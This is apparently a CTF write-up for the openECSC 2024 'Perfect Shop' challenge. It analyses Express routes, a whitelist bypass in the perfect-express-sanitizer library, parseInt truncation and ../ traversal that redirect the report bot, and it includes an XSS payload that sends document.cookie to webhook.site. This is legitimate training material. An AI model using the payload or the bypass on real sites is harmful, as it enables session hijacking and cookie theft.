<h5 id="summary-of-available-information">Summary of Available Information</h5>
<p>We know that the application sanitizes all inputs from XSS thanks to <code>app.use(sanitizer.clean({ xss: true }, [&quot;/admin&quot;]));</code> except for the <code>/admin</code> endpoint and that express is used as the web engine.</p>
<h3 id="endpoints">Endpoints</h3>
<p>Although the &ldquo;playing field&rdquo; turned out to be less extensive than expected, there are several endpoints to analyze. Therefore, it&rsquo;s important to understand their functionality from the beginning.</p>
<h4 id="-homepage">/ (homepage)</h4>
<p>This is the first screen displayed when entering the site, or when a GET request is made to the <code>/</code> endpoint:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/home.png" alt="Homepage">
<p>The related code is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>app.get(<span style="color:#fc6a5d">&#39;/&#39;</span>, (req, res) =&gt; {
</span></span><span style="display:flex;"><span>    res.render(<span style="color:#fc6a5d">&#39;products&#39;</span>, { products: products });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>Nothing interesting here: the template responsible for displaying a list of certain products, as shown in the screenshot, is <a href="https://docs.dataops.live/docs/develop-development-principles/template-rendering/">rendered</a>.</p>
<p>In particular, <code>res.render()</code> is a function that calls a certain template (first parameter) and passes it some information (second parameter). The template is responsible for displaying the information related to all entities passed as the second parameter in a generally ordered and aesthetically pleasing manner.</p>
<p>In this case, no filter is applied to the <code>products</code> variable, so all products will be displayed.</p>
<h4 id="productid">/product/:id</h4>
<p>The two colons preceding <code>id</code> indicate that it is a value that can be arbitrarily chosen by the user. One can imagine that there are various products, and this is a way to allow for a <a href="https://expressjs.com/en/starter/basic-routing.html">route</a> for each of them without explicitly specifying one for each.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/product.png" alt="Product detail page">
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>app.get(<span style="color:#fc6a5d">&#39;/product/:id&#39;</span>, (req, res) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">const</span> id = <span style="color:#d0a8ff">parseInt</span>(req.params.id);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (<span style="color:#d0a8ff">isNaN</span>(id) || id &lt; <span style="color:#d0bf69">0</span> || id &gt;= products.length) {
</span></span><span style="display:flex;"><span>        res.status(<span style="color:#d0bf69">404</span>).send(<span style="color:#fc6a5d">&#39;Not found&#39;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    res.render(<span style="color:#fc6a5d">&#39;product&#39;</span>, { product: products[id] });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>Here, the value entered by the user as the id is <a href="https://en.wikipedia.org/wiki/Parsing">parsed</a> as an integer and assigned to the variable with the same name (i.e., ensuring that the value is actually an integer, and when it is not, it is transformed into an integer according to certain criteria).</p>
<p>If the id is not recognized (the product does not exist), a <code>404</code> &ldquo;not found&rdquo; error is returned; otherwise, a template is rendered that returns a result similar to the one shown in the photo for the chosen product.</p>
<h4 id="search">/search</h4>
<p>A classic search functionality that filters results based on the product name.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/search.png" alt="Example of search functionality">
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>app.get(<span style="color:#fc6a5d">&#39;/search&#39;</span>, (req, res) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">let</span> query = req.query.q || <span style="color:#fc6a5d">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (query.length &gt; <span style="color:#d0bf69">50</span>) {
</span></span><span style="display:flex;"><span>        res.locals.errormsg = <span style="color:#fc6a5d">&#39;Search query is too long&#39;</span>;
</span></span><span style="display:flex;"><span>        query = <span style="color:#fc6a5d">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">const</span> result = products.filter(product =&gt; product.name.toLowerCase().includes(query.toLowerCase()));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    res.render(<span style="color:#fc6a5d">&#39;search&#39;</span>, { products: result, query: query });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>If the search string passed as a <em>query parameter</em> is empty, the <code>query</code> variable is assigned an empty string. This also happens when the search string is too long, exceeding 50 characters.</p>
<p>Then, a <a href="https://en.wikipedia.org/wiki/Case_sensitivity">case-insensitive</a> filter is applied based on the product name: if the searched string is not found in the product name, then that product is not included among the products to render. As you can see by trying to use the endpoint and by inferring from the rendering line, the query will also be returned as output after performing the search in addition to the found products.</p>
<p>This would be very useful for a simple reflected XSS, but the length filter and especially the omnipresent sanitization do not allow it. Too bad 😔</p>
<h4 id="admin">/admin</h4>
<p>An admin panel with a list of all available products.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/admin.png" alt="Admin panel overview">
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>app.get(<span style="color:#fc6a5d">&#39;/admin&#39;</span>, (req, res) =&gt; {
</span></span><span style="display:flex;"><span>    res.render(<span style="color:#fc6a5d">&#39;admin&#39;</span>, { products: products });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>The XSS filter on this route is disabled, yet there are no traces of HTML tags or similar.</p>
<h4 id="adminid">/admin/:id</h4>
<h4 id="get">GET</h4>
<p>Product editing page, part of the admin panel.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/edit_product.png" alt="Product editing page overview">
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>app.get(<span style="color:#fc6a5d">&#39;/admin/:id&#39;</span>, (req, res) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">const</span> id = <span style="color:#d0a8ff">parseInt</span>(req.params.id);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (<span style="color:#d0a8ff">isNaN</span>(id) || id &lt; <span style="color:#d0bf69">0</span> || id &gt;= products.length) {
</span></span><span style="display:flex;"><span>        res.status(<span style="color:#d0bf69">404</span>).send(<span style="color:#fc6a5d">&#39;Not found&#39;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    res.render(<span style="color:#fc6a5d">&#39;edit_product&#39;</span>, { product: products[id] });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>The code is practically identical to that of the search route. It serves to identify the product that the admin wishes to modify.</p>
<p>Already here we could pose a huge question ;)</p>
<h4 id="post">POST</h4>
<p>Product modification action by the admin.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>app.post(<span style="color:#fc6a5d">&#39;/admin/:id&#39;</span>, (req, res) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">const</span> id = <span style="color:#d0a8ff">parseInt</span>(req.params.id);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (<span style="color:#d0a8ff">isNaN</span>(id) || id &lt; <span style="color:#d0bf69">0</span> || id &gt;= products.length) {
</span></span><span style="display:flex;"><span>        res.status(<span style="color:#d0bf69">404</span>).send(<span style="color:#fc6a5d">&#39;Not found&#39;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (req.body.password !== admin_password) {
</span></span><span style="display:flex;"><span>        res.locals.errormsg = <span style="color:#fc6a5d">&#39;Invalid password&#39;</span>;
</span></span><span style="display:flex;"><span>        res.render(<span style="color:#fc6a5d">&#39;edit_product&#39;</span>, { product: products[id] });
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (req.body.name) {
</span></span><span style="display:flex;"><span>        products[id].name = req.body.name;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (req.body.description) {
</span></span><span style="display:flex;"><span>        products[id].description = req.body.description;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">const</span> price = <span style="color:#d0a8ff">parseFloat</span>(req.body.price);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (!<span style="color:#d0a8ff">isNaN</span>(price) &amp;&amp; price &gt;= <span style="color:#d0bf69">0</span>) {
</span></span><span style="display:flex;"><span>        products[id].price = req.body.price;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    res.locals.successmsg = <span style="color:#fc6a5d">&#39;Product updated successfully&#39;</span>;
</span></span><span style="display:flex;"><span>    res.render(<span style="color:#fc6a5d">&#39;edit_product&#39;</span>, { product: products[id] });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>Given the password check, which is generated completely randomly, we could even ignore the code, as this is an endpoint impossible to trigger for regular users. The fact that the challenge is on a shared instance (all participants must solve the challenge on the same server) is already a big hint that we cannot modify the products as we please, potentially harming other participants. Imagine if someone could have the idea of giving RCE or this type of XSS on a shared instance :D</p>
<p>For completeness: the id passed by the user is parsed into <code>id</code>. A check is made on the existence of the product and on the correctness of the password. If both pass, all fields that are not empty on the edit page are modified, and also the price if the integrity check is passed (it simply checks that the price is a valid non-negative float). If the modification is successful, a success message is displayed, and in any case, at the end, you are redirected to the edit page.</p>
<h4 id="report">Report</h4>
<h5 id="get-1">GET</h5>
<p>Simply renders the report page.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/report.png" alt="Report page">
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>app.get(<span style="color:#fc6a5d">&#39;/report&#39;</span>, (req, res) =&gt; {
</span></span><span style="display:flex;"><span>    res.render(<span style="color:#fc6a5d">&#39;report&#39;</span>, { products: products });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>It&rsquo;s possible to see how the list of products serves the report page to allow the user to choose the product for which to file a complaint in the drop-down list.</p>
<h5 id="post-1">POST</h5>
<p>User reporting action.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>app.post(<span style="color:#fc6a5d">&#39;/report&#39;</span>, (req, res) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">const</span> id = <span style="color:#d0a8ff">parseInt</span>(req.body.id);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> (<span style="color:#d0a8ff">isNaN</span>(id) || id &lt; <span style="color:#d0bf69">0</span> || id &gt;= products.length) {
</span></span><span style="display:flex;"><span>        res.locals.errormsg = <span style="color:#fc6a5d">&#39;Invalid product ID&#39;</span>;
</span></span><span style="display:flex;"><span>        res.render(<span style="color:#fc6a5d">&#39;report&#39;</span>, { products: products });
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    fetch(<span style="color:#fc6a5d">`http://</span><span style="color:#fc6a5d">${</span>HEADLESS_HOST<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">/`</span>, {
</span></span><span style="display:flex;"><span>        method: <span style="color:#fc6a5d">&#39;POST&#39;</span>,
</span></span><span style="display:flex;"><span>        headers: { <span style="color:#fc6a5d">&#39;Content-Type&#39;</span>: <span style="color:#fc6a5d">&#39;application/json&#39;</span>, <span style="color:#fc6a5d">&#39;X-Auth&#39;</span>: HEADLESS_AUTH },
</span></span><span style="display:flex;"><span>        body: JSON.stringify({
</span></span><span style="display:flex;"><span>            actions: [
</span></span><span style="display:flex;"><span>                {
</span></span><span style="display:flex;"><span>                    type: <span style="color:#fc6a5d">&#39;request&#39;</span>,
</span></span><span style="display:flex;"><span>                    url: <span style="color:#fc6a5d">`http://</span><span style="color:#fc6a5d">${</span>WEB_DOM<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">/`</span>,
</span></span><span style="display:flex;"><span>                },
</span></span><span style="display:flex;"><span>                {
</span></span><span style="display:flex;"><span>                    type: <span style="color:#fc6a5d">&#39;set-cookie&#39;</span>,
</span></span><span style="display:flex;"><span>                    name: <span style="color:#fc6a5d">&#39;flag&#39;</span>,
</span></span><span style="display:flex;"><span>                    value: FLAG
</span></span><span style="display:flex;"><span>                },
</span></span><span style="display:flex;"><span>                {
</span></span><span style="display:flex;"><span>                    type: <span style="color:#fc6a5d">&#39;request&#39;</span>,
</span></span><span style="display:flex;"><span>                    url: <span style="color:#fc6a5d">`http://</span><span style="color:#fc6a5d">${</span>WEB_DOM<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">/product/</span><span style="color:#fc6a5d">${</span>req.body.id<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">`</span>
</span></span><span style="display:flex;"><span>                },
</span></span><span style="display:flex;"><span>                {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc6a5d">&#34;type&#34;</span>: <span style="color:#fc6a5d">&#34;sleep&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#fc6a5d">&#34;time&#34;</span>: <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            ]
</span></span><span style="display:flex;"><span>         })
</span></span><span style="display:flex;"><span>    }).then((r) =&gt; {
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> (r.status !== <span style="color:#d0bf69">200</span>) {
</span></span><span style="display:flex;"><span>            res.locals.errormsg = <span style="color:#fc6a5d">&#39;Report submission failed, contact an admin if the problem persists&#39;</span>;
</span></span><span style="display:flex;"><span>        } <span style="color:#fc5fa3">else</span> {
</span></span><span style="display:flex;"><span>            res.locals.successmsg = <span style="color:#fc6a5d">&#39;Report submitted successfully&#39;</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        res.render(<span style="color:#fc6a5d">&#39;report&#39;</span>, { products: products });
</span></span><span style="display:flex;"><span>    }).<span style="color:#fc5fa3">catch</span>(() =&gt; {
</span></span><span style="display:flex;"><span>        res.locals.errormsg = <span style="color:#fc6a5d">&#39;Failed to submit report, contact an admin if the problem persists&#39;</span>;
</span></span><span style="display:flex;"><span>        res.render(<span style="color:#fc6a5d">&#39;report&#39;</span>, { products: products });
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><h5 id="headless-bot-verification">Headless Bot Verification</h5>
<p>At the outset, after parsing and checking the existence of the product as seen before, a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch">fetch</a> to a headless is performed.</p>
<p>While this might seem overwhelming, the functioning of the headless is straightforward:</p>
<p>The fetch visits the site indicated in the constant <code>HEADLESS_HOST</code>, which cannot be known unless the application&rsquo;s configurations are known.</p>
<p>At this address, a <code>POST</code> is made, with headers indicating to the headless that it is about to receive data in <a href="https://en.wikipedia.org/wiki/JSON">JSON format</a>.</p>
<p>Since the source code of the headless is not available, the exact mechanism behind the implementation of <code>actions</code> cannot be determined precisely. However, it is sufficient to know that there are instructions being executed sequentially, for the scope of the challenge.</p>
<p>The succession of <code>actions</code> is as follows:</p>
<ul>
<li>A GET request is made to the Perfect Shop, to allow the next step;</li>
<li>A <code>flag</code> cookie related to the Perfect Shop is set, with the value being the flag to be extracted to solve the challenge;</li>
<li>A GET request is made to <code>http://${WEB_DOM}/product/${req.body.id}</code>, where <code>WEB_DOM</code> is the address of the Perfect Shop, and <code>req.body.id</code> is the id passed by the user during the reporting process;</li>
<li>Nothing is done for one second.</li>
</ul>
<p>After this, various error and success cases are handled. Two different messages are printed based on whether the error is detected by the challenge server&rsquo;s JavaScript code, or if a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">status code</a> other than 200 is returned by the headless.</p>
<p>In essence, the user&rsquo;s report is being verified by a bot, simulating the behavior of a logged-in admin who presumably has session/authentication cookies related to the Shop and who checks the product with the id indicated by the user at the time of the report.</p>
<h2 id="setup">Setup</h2>
<p>Having the challenge running locally greatly facilitates the process of understanding every tiny part of the application being attacked. In this case, the organizers have also delivered the source code with well-crafted Docker Compose files that allow setting up the infrastructure in a breeze.</p>
<h3 id="docker">Docker</h3>
<p><a href="https://www.docker.com/">Docker</a> enables the creation of &ldquo;magic boxes&rdquo; (containers) containing certain software that can be executed as if it were running on the developer&rsquo;s computer.</p>
<p>This means that developers can distribute infrastructures based on specific operating systems and configurations without requiring users to switch to such OS or modify their configurations.</p>
<h3 id="docker-compose">Docker Compose</h3>
<p>An application might require multiple containers, envisioning a site with a dedicated server for the web engine and another for the database (as in this challenge).</p>
<p><a href="https://docs.docker.com/compose/">Docker Compose</a> files are like maps that aid in the coordinated management of different logically linked containers. They specify which containers need to be started simultaneously with a single command, along with information about them such as the values of their environment variables, the ports they can use, their dependencies, etc.</p>
<p>Receiving well-crafted Docker Compose files along with the source code of the challenge means being able to easily test locally with a single command and modify the code as needed to better understand the limits of our payloads and the nature of the vulnerabilities of the site being attacked.</p>
<h3 id="this-challenge">This Challenge</h3>
<h4 id="linux">Linux</h4>
<p>To simply run the challenge, just execute <code>sudo docker compose up</code> in the challenge folder to start all the containers. As indicated in both <code>server.js</code> and the <code>docker-compose.yaml</code> file, the site will be accessible on <a href="https://en.wikipedia.org/wiki/Port_(computer_networking)">port</a> 3000.</p>
<p>If for any reason you need to modify the source code of the challenge, simply make the desired changes, save the file, and then run <code>sudo docker compose build web</code>. In this case, specifying <code>web</code> indicates that only the container related to the web server should be rebuilt, rather than all containers.</p>
<h4 id="windows">Windows</h4>
<p>Start the Docker Engine. If you have Docker Desktop, simply launch it, and the Engine will start automatically. From the terminal, navigate to the Perfect Shop folder and execute <code>docker compose up</code> to start the challenge locally, and <code>docker compose build web</code> if you wish to apply any changes. Similarly, specifying <code>web</code> indicates that only the container related to the web server should be rebuilt, rather than all containers.</p>
<h2 id="how-to-attack">How to Attack?</h2>
<p>The presence of a bot effectively guarantees that we&rsquo;ll need to exploit a <a href="https://owasp.org/www-project-top-10-client-side-security-risks/">client-side vulnerability</a>, as clearly confirmed by the presence of an XSS filter.</p>
<p>There are three things that might raise eyebrows when conducting a static code analysis (I didn&rsquo;t notice two of these during the competition):</p>
<ul>
<li>The entire input is being parsed and not <a href="https://en.wikipedia.org/wiki/Type_conversion">casted</a>, which means the parsed value and the unparsed value could be logically very different;</li>
<li>The only endpoint exempt from input sanitization is <code>/admin</code>, but some HTML tags could also be found in <code>/admin/:id</code> (they are different endpoints);</li>
<li>During the reporting phase, the report itself is related to the product with the parsed ID passed by the user, but the bot visits the product endpoint with the unparsed ID passed by the user. Connecting back to the first point, the values could be completely different from each other;</li>
</ul>
<h4 id="parsing">Parsing</h4>
<p>The ID is parsed using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt">parseInt()</a> function. As stated in the documentation, the only requirement for a string to be parsed as an integer is that it <em>starts</em> with a digit. But what happens if a string starts with a digit but contains other characters and symbols?</p>
<p><em>The console of major browsers&rsquo; DevTools is a great friend in this type of challenge. It can usually be accessed with fn+F12 &gt; console</em></p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/parseInt.png" alt="Example of parseInt function behavior">
<p>Simply put, the rest of the string is brutally truncated. The same goes if there are digits before, then characters, and then more digits. From the first encountered character onwards, everything is completely ignored by parseInt.</p>
<h4 id="endpoint-inheritance-its-not-a-real-thing-dont-look-it-up">Endpoint inheritance???? (It&rsquo;s not a real thing don&rsquo;t look it up)</h4>
<p>As visible from the screenshot shown earlier, there are tags in <code>/admin/:id</code>, despite only <code>/admin</code> being excluded from sanitization. At this point, the only option is to delve into the sanitizer&rsquo;s workings, which in this case is imported from the <a href="https://github.com/pariazar/perfect-express-sanitizer/tree/4f9c47f37596fa9830408470d818752d76b0dd79"><code>perfect-express-sanitizer</code></a> library. Specifically, in the challenge, version <code>1.0.13</code> was being used.</p>
<p>There are several modules related to sanitization, while <code>index.js</code> is the file responsible for managing the whitelist:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#fc5fa3">const</span> sanitize = require(<span style="color:#fc6a5d">&#34;./modules/&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">function</span> middleware(
</span></span><span style="display:flex;"><span>  options = {},
</span></span><span style="display:flex;"><span>  whiteList = [],
</span></span><span style="display:flex;"><span>  only = [<span style="color:#fc6a5d">&#34;body&#34;</span>, <span style="color:#fc6a5d">&#34;params&#34;</span>, <span style="color:#fc6a5d">&#34;headers&#34;</span>, <span style="color:#fc6a5d">&#34;query&#34;</span>]
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> (req, res, next) =&gt; {
</span></span><span style="display:flex;"><span>    only.forEach((k) =&gt; {
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">if</span> (req[k] &amp;&amp; !whiteList.some((v) =&gt; req.url.trim().includes(v))) {
</span></span><span style="display:flex;"><span>        req[k] = sanitize.prepareSanitize(req[k], options);
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>    next();
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>module.exports = {
</span></span><span style="display:flex;"><span>  clean: middleware,
</span></span><span style="display:flex;"><span>  sanitize,
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>The portion of code responsible for managing the whitelist is present in the if statement: <code>!whiteList.some((v) =&gt; req.url.trim().includes(v))</code>. The sanitization inside the if statement is only executed if the URL passed in the request does not <strong>include</strong> elements present in the whitelist. In particular, the use of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some"><code>some()</code></a> allows checking if even a single element of the whitelist is present in the URL, in which case the condition becomes true, while <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/trim"><code>trim()</code></a> removes any spaces present at the beginning and end of the request URL.</p>
<p>This means that just as <code>/admin</code> is excluded from sanitization, so is <code>/admin/:id</code>.</p>
<p>It&rsquo;s quiz time!!! From which of these elements can a URL be composed?</p>
<ul>
<li><input disabled="" type="checkbox"> host</li>
<li><input disabled="" type="checkbox"> path</li>
<li><input disabled="" type="checkbox"> querystring (query parameters)</li>
<li><input checked="" disabled="" type="checkbox"> all of the above</li>
</ul>
<p>Correct answer! You&rsquo;re really good ^^</p>
<p>Armed with this information, we can move on to the next point.</p>
<h4 id="traveling-bot">Traveling Bot</h4>
<p>Yes, there is a discrepancy between the parsed id and the id of the product that will be visited by the bot, but what does it change for us? Leading the bot to <code>http://perfectshop.challs.open.ecsc2024.it/product/1hehJHAHajhajseheja</code> instead of <code>http://perfectshop.challs.open.ecsc2024.it/product/1</code> as expected can be amusing, but nothing more.</p>
<p>There is a powerful weapon that can be used in these cases, namely <a href="https://www.google.com/search?q=dot+dot+slash+meaning"><code>../</code></a>, which in a path means &ldquo;go up one folder&rdquo;. The same can apply to an endpoint: <code>http://perfectshop.challs.open.ecsc2024.it</code> is equivalent to <code>http://perfectshop.challs.open.ecsc2024.it/product/1/../../</code> (if the concept is not clear, I suggest playing around with it).</p>
<p>This means that we can send the bot around. In itself, it&rsquo;s not a big deal, but by combining this with the other points mentioned, it&rsquo;s already possible to imagine a chain to create a working exploit, at least on paper. If that&rsquo;s not the case, you&rsquo;re just like me, and it might be useful to proceed by reading&hellip;</p>
<h3 id="studying-the-target-by-playing-around">Studying the target by playing around</h3>
<p><a href="https://en.wikipedia.org/wiki/Fuzzing">Fuzzing</a> is the art of experimenting and finding out, a technique proven by numerous cybersecurity experts, papers on the subject, and CTFers.</p>
<p>Together with desperation, food, and time constraints, it has been the most useful thing for solving this challenge.</p>
<p>Jokes aside, initially, I didn&rsquo;t notice almost anything of what I&rsquo;ve written so far in this writeup, and knowing my tendency to quickly abandon a challenge that I initially define as &ldquo;difficult&rdquo;, I decided to try a new approach.</p>
<p>I tend to overlook various things during the exploration of a challenge, so having access to the source code and the Dockerfile, I decided to disable all filters and gradually re-enable them as I adapted the payload to the various constraints imposed on me.</p>
<h4 id="first-step-reflected-xss-without-filters">First step: Reflected XSS without filters</h4>
<p>In the <code>server.js</code> file, I edited the following lines:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/XSSfilterOFF.png" alt="Disabling XSS filter">
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/length_filterOFF.png" alt="Disabling input length filter">
<p>I decided to maintain decency on the length filter to avoid ending up with comically long payloads.</p>
<p>At this point, all that&rsquo;s left is to build and deploy the challenge and see how it goes.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/vid/FirstXSS.gif" alt="Example of injecting a simple XSS with filters disabled in the challenge">
<p>As expected, with the filters disabled, we can successfully exploit it. And steal a cookie?</p>
<h5 id="cookie-stealing-and-webhooks">Cookie stealing and webhooks</h5>
<p>Cookies are a special type of header, and for this reason, there&rsquo;s a kind of shortcut in JavaScript that allows accessing them, namely the <code>document.cookie</code> property.</p>
<p>To successfully exfiltrate a user&rsquo;s cookies on the website, you need an endpoint reachable by the victim, which means exposing a server to make it accessible to anyone.</p>
<p><a href="https://en.wikipedia.org/wiki/Webhook">Webhooks</a> are&hellip; versatile things. For this challenge, a website like <a href="https://webhook.site/">webhook.site</a> allows using them as if you were using your own server exposed to the outside world.</p>
<p>For a test, you can use a payload like this: <code>&lt;script&gt;window.location=&quot;https://webhook.site/[REDACTED]?c=&quot;+document.cookie&lt;/script&gt;</code></p>
<p>In this type of payload, it&rsquo;s important not to use a random HTML tag, but to ensure that JavaScript code is actually executed (it&rsquo;s okay to insert the webhook URL concatenated with <code>document.cookie</code> inside an <code>onerror</code>, but not in a simple <code>src</code>) so that <code>document.cookie</code> is &ldquo;reachable&rdquo;.</p>
<p>Also, you need to append the cookies as query parameters (for webhook and personal server) or as a path (for a personal server only). Failing to do so means appending the cookies as part of the host, which means the request will never reach the desired destination. For example, instead of ending up at <code>myhost.com</code>, it would end up at <code>myhost.comCOOKIENAME=COOKIEVALUE</code>, which makes no sense, unlike <code>myhost.com?c=COOKIENAME=COOKIEVALUE</code> or <code>myhost.com/COOKIENAME=COOKIEVALUE</code> (which doesn&rsquo;t make sense with <code>webhook.site</code>, unless you own that domain).</p>
<p>Executing the payload above by sending it to the search page yields the following result on webhook.site:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/FirstWebhook.png" alt="Example webhook result">
<p>There are the cookies!</p>
<h4 id="second-step-cookie-stealing-on-the-bot">Second step: Cookie stealing on the bot</h4>
<p>Perhaps it would have made more sense to find a valid payload with the character filter first, but during the competition, I was a bit panicked and wanted to make sure I could steal the bot&rsquo;s cookies without problems. Unfounded fear, as there was no kind of control in this regard, and the value of <a href="https://owasp.org/www-community/HttpOnly"><code>httpOnly</code></a> for the <code>flag</code> cookie wasn&rsquo;t specified, which means it will be set to the default value of <code>false</code>.</p>
<p><em>What does this mean?</em> For security reasons, the optional <code>httpOnly</code> flag was introduced for cookies, which if set to <code>true</code>, prevents JavaScript code in the document from accessing <code>document.cookie</code>, mitigating exactly the type of attack I&rsquo;m about to perform.</p>
<p>But first, let&rsquo;s delve into the bot&rsquo;s operation and the related report page.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/NetworkReport.png" alt="Inspection of a POST request to the reporting endpoint">
<p>All fine, here&rsquo;s the ID and the message. Checking the logs, which appear on the terminal from which the <code>docker compose</code> was launched, it&rsquo;s also possible to verify which page was visited by the bot:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/BotVisitsProduct.png" alt="Example of logs indicating that the bot visited the page related to the reported product">
